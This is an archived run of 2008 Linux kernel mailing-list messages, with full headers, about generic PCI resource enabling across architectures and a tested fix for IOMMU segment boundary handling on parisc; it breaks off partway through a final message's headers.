> > On Wednesday, February 27, 2008 4:04 pm Bjorn Helgaas wrote:
> > > Move bridge enable from pcibios_enable_resources() to
> > > platform_pci_enable_device() so the former matches other
> > > architectures and can be shared.
> >
> > I really like the direction of these patches.  Getting PCI resources
> > assigned & devices setup correctly for new arches has always been a bit
> > more trouble than it should be...
>
> You'll noticed that I recently moved powerpc to something more common to
> x86 in the are of resource allocation. Still -slightly- different but I
> do believe there is room for somebody with some skills to try to turn
> some of that into generic code.

Yeah, I think that would be a good thing to shoot for.  Even on PCs there are 
times when we need resource allocation to be done (or re-done) by the kernel 
for hotplug or just because the platform is pared down enough that it doesn't 
to it all by itself.

I might be able to find time to look into that myself in the next few weeks; I 
think we even have some open PCI bugs that could be solved by better resource 
allocation.

Jesse
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH -mm 0/3] fix iommu segment boundary problems (parisc)
Date: Tue,  4 Mar 2008 17:13:55 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <JX7RR7$3528E2939A349F65E12E3F27315EEC50@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1204647513 1926 80.91.229.12 (4 Mar 2008 16:18:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 4 Mar 2008 16:18:33 +0000 (UTC)
Cc: "tomof" <tomof@acm.org>, "kyle" <kyle@mcmartin.ca>,
	"linux-kernel" <linux-kernel@vger.kernel.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"tomof" <tomof@acm.org>, "kyle" <kyle@parisc-linux.org>,
	"matthew" <matthew@wil.cx>, "grundler" <grundler@parisc-linux.org>,
	"akpm" <akpm@linux-foundation.org>,
	"fujita\.tomonori" <fujita.tomonori@lab.ntt.co.jp>,
	"rubisher" <rubisher@scarlet.be>
To: "fujita\.tomonori" <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 04 17:18:57 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWZqx-0002GH-Pt
	for glpp-linux-parisc@gmane.org; Tue, 04 Mar 2008 17:18:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761843AbYCDQSW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Mar 2008 11:18:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764664AbYCDQSV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 4 Mar 2008 11:18:21 -0500
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:35128 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755716AbYCDQSU convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Mar 2008 11:18:20 -0500
Original-Received: from scarlet.be (fuji.is.scarlet.be [193.74.71.41])
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m24GDtAI030920;
	Tue, 4 Mar 2008 17:13:56 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: hel; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:166 gmane.linux.kernel:649593
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/166>

[snip]
> > Can you try the following patch? It's on the top of the patchset.
> > 
> Good catch: now this first testing system (I mean the b2k) is up and running ;-)
> 
> I will now try the ccio_dma driver on a d380 ...
> 
Yes, it works too on a d380 boxe running a 32bit up kernel.

Btw (it was a long time ago), I also resurrect my 64 config for the b2k model
and it also works fine.

Many tx again,
    r.

> hth,
>     r.
> 
> > Thanks,
> > 
> > diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
> > index 2f3b364..d0855a1 100644
> > --- a/drivers/parisc/ccio-dma.c
> > +++ b/drivers/parisc/ccio-dma.c
> > @@ -366,8 +366,8 @@ ccio_alloc_range(struct ioc *ioc, struct device *dev,
> size_t size)
> >  	** ggg sacrifices another 710 to the computer gods.
> >  	*/
> >  
> > -	boundary_size = ALIGN(dma_get_seg_boundary(dev) + 1, 1 << IOVP_SHIFT);
> > -	boundary_size >>= IOVP_SHIFT;
> > +	boundary_size = ALIGN((unsigned long long)dma_get_seg_boundary(dev) + 1,
> > +			      1ULL << IOVP_SHIFT) >> IOVP_SHIFT;
> >  
> >  	if (pages_needed <= 8) {
> >  		/*
> > diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
> > index e834127..bdbe780 100644
> > --- a/drivers/parisc/sba_iommu.c
> > +++ b/drivers/parisc/sba_iommu.c
> > @@ -341,8 +341,8 @@ sba_search_bitmap(struct ioc *ioc, struct device *dev,
> >  	unsigned long shift;
> >  	int ret;
> >  
> > -	boundary_size = ALIGN(dma_get_seg_boundary(dev) + 1, 1 << IOVP_SHIFT);
> > -	boundary_size >>= IOVP_SHIFT;
> > +	boundary_size = ALIGN((unsigned long long)dma_get_seg_boundary(dev) + 1,
> > +			      1ULL << IOVP_SHIFT) >> IOVP_SHIFT;
> >  
> >  #if defined(ZX1_SUPPORT)
> >  	BUG_ON(ioc->ibase & ~IOVP_MASK);
> > --

---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH -mm 0/3] fix iommu segment boundary problems (parisc)
Date: Wed, 05 Mar 2008 11:56:41 +0900
Lines: 21
Approved: news@gmane.org
Message-ID: <20080305115641Q.fujita.tomonori@lab.ntt.co.jp>
References: <JX7RR7$3528E2939A349F65E12E3F27315EEC50@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1204686260 9846 80.91.229.12 (5 Mar 2008 03:04:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2008 03:04:20 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, tomof@acm.org, kyle@mcmartin.ca,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	kyle@parisc-linux.org, matthew@wil.cx, grundler@parisc-linux.org,
	akpm@linux-foundation.org
To: rubisher@scarlet.be
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1758935AbYCEDD0@vger.kernel.org Wed Mar 05 04:04:44 2008
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1758935AbYCEDD0@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWjvu-00033b-SV
	for glk-linux-kernel-3@gmane.org; Wed, 05 Mar 2008 04:04:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758935AbYCEDD0 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 4 Mar 2008 22:03:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754349AbYCEDDN
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Tue, 4 Mar 2008 22:03:13 -0500
Original-Received: from tama50.ecl.ntt.co.jp ([129.60.39.147]:58142 "EHLO
	tama50.ecl.ntt.co.jp" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754044AbYCEDDM (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 4 Mar 2008 22:03:12 -0500
Original-Received: from mfs5.rdh.ecl.ntt.co.jp (mfs5.rdh.ecl.ntt.co.jp [129.60.39.144])
	by tama50.ecl.ntt.co.jp (8.14.2/8.14.2) with ESMTP id m252ux14020659;
	Wed, 5 Mar 2008 11:56:59 +0900 (JST)
Original-Received: from mfs5.rdh.ecl.ntt.co.jp (localhost [127.0.0.1])
	by mfs5.rdh.ecl.ntt.co.jp (Postfix) with ESMTP id B6BB16A12;
	Wed,  5 Mar 2008 11:56:59 +0900 (JST)
Original-Received: from dmailsv1.y.ecl.ntt.co.jp (dmailsv1.y.ecl.ntt.co.jp [129.60.53.14])
	by mfs5.rdh.ecl.ntt.co.jp (Postfix) with ESMTP id ADA8A63F4;
	Wed,  5 Mar 2008 11:56:59 +0900 (JST)
Original-Received: from mailsv04.y.ecl.ntt.co.jp
      by dmailsv1.y.ecl.ntt.co.jp (8.14.2/dmailsv1-2.0) with ESMTP id m252uxN5022030;
        Wed, 5 Mar 2008 11:56:59 +0900 (JST)
Original-Received: from localhost
        by mailsv04.y.ecl.ntt.co.jp (8.14.1/Lab-1.7) with ESMTP id m252uxs2003362;
        Wed, 5 Mar 2008 11:56:59 +0900 (JST)
In-Reply-To: <JX7RR7$3528E2939A349F65E12E3F27315EEC50@scarlet.be>
X-Dispatcher: imput version 20040704(IM147)
Original-Lines: 21
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:649959 gmane.linux.ports.parisc:167
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/167>

On Tue,  4 Mar 2008 17:13:55 +0100
"rubisher" <rubisher@scarlet.be> wrote:

> [snip]
> > > Can you try the following patch? It's on the top of the patchset.
> > > 
> > Good catch: now this first testing system (I mean the b2k) is up and running ;-)
> > 
> > I will now try the ccio_dma driver on a d380 ...
> > 
> Yes, it works too on a d380 boxe running a 32bit up kernel.

Great, thanks a lot for testing both IOMMUs!


> Btw (it was a long time ago), I also resurrect my 64 config for the b2k model
> and it also works fine.

Nice, and sorry about the bug on 32bits boxes.

Thanks again,

From - Thu Nov 08 21:02:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH -mm 0/3] fix iommu segment boundary problems (parisc)
Date: Wed, 05 Mar 2008 12:54:15 +0900
Lines: 31
Approved: news@gmane.org
Message-ID: <20080305125415Y.fujita.tomonori@lab.ntt.co.jp>
References: <1204438228-4564-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
	<20080302171311.GB18883@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1204689434 17669 80.91.229.12 (5 Mar 2008 03:57:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2008 03:57:14 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, tomof@acm.org, kyle@parisc-linux.org,
	matthew@wil.cx, grundler@parisc-linux.org,
	akpm@linux-foundation.org
To: kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 05 04:57:39 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWkl5-0006T3-Vh
	for glpp-linux-parisc@gmane.org; Wed, 05 Mar 2008 04:57:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751578AbYCED44 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 4 Mar 2008 22:56:56 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751445AbYCED44
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 4 Mar 2008 22:56:56 -0500
Original-Received: from tama50.ecl.ntt.co.jp ([129.60.39.147]:60532 "EHLO
	tama50.ecl.ntt.co.jp" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750755AbYCED4z (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 4 Mar 2008 22:56:55 -0500
X-Greylist: delayed 3224 seconds by postgrey-1.27 at vger.kernel.org; Tue, 04 Mar 2008 22:56:55 EST
Original-Received: from mfs5.rdh.ecl.ntt.co.jp (mfs5.rdh.ecl.ntt.co.jp [129.60.39.144])
	by tama50.ecl.ntt.co.jp (8.14.2/8.14.2) with ESMTP id m253sX6f000468;
	Wed, 5 Mar 2008 12:54:33 +0900 (JST)
Original-Received: from mfs5.rdh.ecl.ntt.co.jp (localhost [127.0.0.1])
	by mfs5.rdh.ecl.ntt.co.jp (Postfix) with ESMTP id A96AD6A12;
	Wed,  5 Mar 2008 12:54:33 +0900 (JST)
Original-Received: from dmailsv1.y.ecl.ntt.co.jp (dmailsv1.y.ecl.ntt.co.jp [129.60.53.14])
	by mfs5.rdh.ecl.ntt.co.jp (Postfix) with ESMTP id A205363F4;
	Wed,  5 Mar 2008 12:54:33 +0900 (JST)
Original-Received: from mailsv04.y.ecl.ntt.co.jp
      by dmailsv1.y.ecl.ntt.co.jp (8.14.2/dmailsv1-2.0) with ESMTP id m253sX9Z026680;
        Wed, 5 Mar 2008 12:54:33 +0900 (JST)
Original-Received: from localhost
        by mailsv04.y.ecl.ntt.co.jp (8.14.1/Lab-1.7) with ESMTP id m253sXnW012855;
        Wed, 5 Mar 2008 12:54:33 +0900 (JST)
In-Reply-To: <20080302171311.GB18883@phobos.i.cabal.ca>
X-Dispatcher: imput version 20040704(IM147)
Original-Lines: 26
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:168 gmane.linux.kernel:649961
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/168>

On Sun, 2 Mar 2008 12:13:11 -0500
Kyle McMartin <kyle@mcmartin.ca> wrote:

> On Sun, Mar 02, 2008 at 03:10:25PM +0900, FUJITA Tomonori wrote:
> > This patchset is another sequel to my patchset to fix iommu segment
> > boundary problems, IOMMUs allocate memory areas without considering a
> > low level driver's segment boundary limits:
> > 
> > http://www.mail-archive.com/linux-scsi@vger.kernel.org/msg11919.html
> > 
> 
> This looks fine. Are you able to test this? If not, we can set you up
> with an account on a machine with remote console and all that jazz, if
> you'd like to.

Thanks for the offer!

I don't have any parisc hardware. If -mm kernels are tested well with
parisc, I'd be happy to leave it in your guys' hands since I've never
used parisc and the patches seem to work (with the bug fix for 32bits
boxes).

I'd like to try if there are not people who try -mm kernels with
parisc or a bug that I can't fix easily will be found.

Thanks,
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch
Subject: Re: [patch 01/16] PCI: add generic pci_enable_resources()
Date: Wed, 05 Mar 2008 14:53:31 +0000
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
	Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
	Kingdom.
	Registered in England and Wales under Company Registration No. 3798903
Lines: 20
Approved: news@gmane.org
Message-ID: <20894.1204728811@redhat.com>
References: <20080304185819.885549413@ldl.fc.hp.com> <20080304185646.864917286@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1204729552 14158 80.91.229.12 (5 Mar 2008 15:05:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2008 15:05:52 +0000 (UTC)
Cc: dhowells@redhat.com, Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>,
	linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 05 16:06:14 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWvC9-0002zf-8i
	for glpp-linux-parisc@gmane.org; Wed, 05 Mar 2008 16:06:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753320AbYCEPFj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Mar 2008 10:05:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753137AbYCEPFi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Mar 2008 10:05:38 -0500
Original-Received: from mx1.redhat.com ([66.187.233.31]:33678 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752654AbYCEPFg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Mar 2008 10:05:36 -0500
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m25ErX7N021317;
	Wed, 5 Mar 2008 09:53:33 -0500
Original-Received: from pobox.devel.redhat.com (pobox.devel.redhat.com [10.11.255.8])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m25ErWUO030004;
	Wed, 5 Mar 2008 09:53:32 -0500
Original-Received: from warthog.cambridge.redhat.com (devserv.devel.redhat.com [10.10.36.72])
	by pobox.devel.redhat.com (8.13.1/8.13.1) with ESMTP id m25ErVnw024710;
	Wed, 5 Mar 2008 09:53:32 -0500
Original-Received: from [127.0.0.1] (helo=redhat.com)
	by warthog.cambridge.redhat.com with esmtp (Exim 4.68 #1 (Red Hat Linux))
	id 1JWuzr-0005R2-Il; Wed, 05 Mar 2008 14:53:31 +0000
In-Reply-To: <20080304185819.885549413@ldl.fc.hp.com>
X-Mailer: MH-E 8.0.3+cvs; nmh 1.2-20070115cvs; GNU Emacs 23.0.50
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:169 gmane.linux.ports.arm.kernel:39250 gmane.linux.ports.ppc64.devel:36730 gmane.linux.kernel.cross-arch:26
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/169>


Bjorn Helgaas <bjorn.helgaas@hp.com> wrote:

> Each architecture has its own pcibios_enable_resources() implementation.
> These differ in many minor ways that have nothing to do with actual
> architectural differences.  Follow-on patches will make most arches
> use this generic version instead.
> 
> This version is based on powerpc, which seemed most up-to-date.  The only
> functional difference from the x86 version is that this uses "!r->parent"
> to check for resource collisions instead of "!r->start && r->end".
> 
> Signed-off-by: Bjorn Helgaas <bjorn.helgaas@hp.com>

Acked-by: David Howells <dhowells@redhat.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel
Subject: Re: [patch 05/16] frv: use generic pci_enable_resources()
Date: Wed, 05 Mar 2008 14:52:46 +0000
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
	Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
	Kingdom.
	Registered in England and Wales under Company Registration No. 3798903
Lines: 14
Approved: news@gmane.org
Message-ID: <20881.1204728766@redhat.com>
References: <20080304185820.723623873@ldl.fc.hp.com>
	<20080304185646.864917286@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1204729561 14197 80.91.229.12 (5 Mar 2008 15:06:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2008 15:06:01 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>,
	Kyle McMartin <kyle@parisc-linux.org>, linuxppc-dev@ozlabs.org,
	Paul Mackerras <paulus@samba.org>, linux-pci@atrey.karlin.mff.cuni.cz,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Russell King <rmk@arm.linux.org.uk>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org Wed Mar 05 16:06:25 2008
Return-path: <linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org>
Envelope-to: glppd-linuxppc64-dev@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWvC9-00030R-0d
	for glppd-linuxppc64-dev@m.gmane.org; Wed, 05 Mar 2008 16:06:13 +0100
Original-Received: from ozlabs.org (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 31D11DE4E5
	for <glppd-linuxppc64-dev@m.gmane.org>; Thu,  6 Mar 2008 02:04:25 +1100 (EST)
X-Original-To: linuxppc-dev@ozlabs.org
Delivered-To: linuxppc-dev@ozlabs.org
Original-Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31])
	by ozlabs.org (Postfix) with ESMTP id B8A26DDFE6
	for <linuxppc-dev@ozlabs.org>; Thu,  6 Mar 2008 02:02:52 +1100 (EST)
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com
	[172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m25Eqtvi020979;
	Wed, 5 Mar 2008 09:52:55 -0500
Original-Received: from pobox.devel.redhat.com (pobox.devel.redhat.com [10.11.255.8])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m25EqrpB029545;
	Wed, 5 Mar 2008 09:52:54 -0500
Original-Received: from warthog.cambridge.redhat.com (devserv.devel.redhat.com
	[10.10.36.72])
	by pobox.devel.redhat.com (8.13.1/8.13.1) with ESMTP id m25Eqp30024676; 
	Wed, 5 Mar 2008 09:52:52 -0500
Original-Received: from [127.0.0.1] (helo=redhat.com)
	by warthog.cambridge.redhat.com with esmtp (Exim 4.68 #1 (Red Hat
	Linux)) id 1JWuz8-0005Qo-Hm; Wed, 05 Mar 2008 14:52:46 +0000
In-Reply-To: <20080304185820.723623873@ldl.fc.hp.com>
X-Mailer: MH-E 8.0.3+cvs; nmh 1.2-20070115cvs; GNU Emacs 23.0.50
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
X-BeenThere: linuxppc-dev@ozlabs.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.ozlabs.org>
List-Unsubscribe: <https://ozlabs.org/mailman/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=unsubscribe>
List-Archive: <http://ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@ozlabs.org?subject=help>
List-Subscribe: <https://ozlabs.org/mailman/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=subscribe>
Original-Sender: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org
Errors-To: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc64.devel:36731 gmane.linux.kernel.cross-arch:27 gmane.linux.ports.parisc:170 gmane.linux.ports.arm.kernel:39251
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/170>


Bjorn Helgaas <bjorn.helgaas@hp.com> wrote:

> Use the generic pci_enable_resources() instead of the arch-specific code.
> 
> Unlike this arch-specific code, the generic version:
>     - checks PCI_NUM_RESOURCES (11), not 6, resources
>     - skips resources that have neither IORESOURCE_IO nor IORESOURCE_MEM set
>     - skips ROM resources unless IORESOURCE_ROM_ENABLE is set
>     - checks for resource collisions with "!r->parent"
> 
> Signed-off-by: Bjorn Helgaas <bjorn.helgaas@hp.com>

Acked-by: David Howells <dhowells@redhat.com>

From - Thu Nov 08 21:02:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel
Subject: Re: [patch 08/16] mn10300: use generic pci_enable_resources()
Date: Wed, 05 Mar 2008 15:13:10 +0000
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
	Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
	Kingdom.
	Registered in England and Wales under Company Registration No. 3798903
Lines: 14
Approved: news@gmane.org
Message-ID: <28205.1204729990@redhat.com>
References: <20080304185821.354198782@ldl.fc.hp.com>
	<20080304185646.864917286@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1204730194 16934 80.91.229.12 (5 Mar 2008 15:16:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2008 15:16:34 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Chris Zankel <chris@zankel.net>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Matthew Wilcox <matthew@wil.cx>,
	Kyle McMartin <kyle@parisc-linux.org>, linuxppc-dev@ozlabs.org,
	Paul Mackerras <paulus@samba.org>, linux-pci@atrey.karlin.mff.cuni.cz,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Russell King <rmk@arm.linux.org.uk>
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org Wed Mar 05 16:16:50 2008
Return-path: <linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org>
Envelope-to: glppd-linuxppc64-dev@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWvMC-0007H3-Ca
	for glppd-linuxppc64-dev@m.gmane.org; Wed, 05 Mar 2008 16:16:37 +0100
Original-Received: from ozlabs.org (localhost [127.0.0.1])
	by ozlabs.org (Postfix) with ESMTP id 3974BDE51C
	for <glppd-linuxppc64-dev@m.gmane.org>; Thu,  6 Mar 2008 02:15:31 +1100 (EST)
X-Original-To: linuxppc-dev@ozlabs.org
Delivered-To: linuxppc-dev@ozlabs.org
Original-Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31])
	by ozlabs.org (Postfix) with ESMTP id CD14EDE048
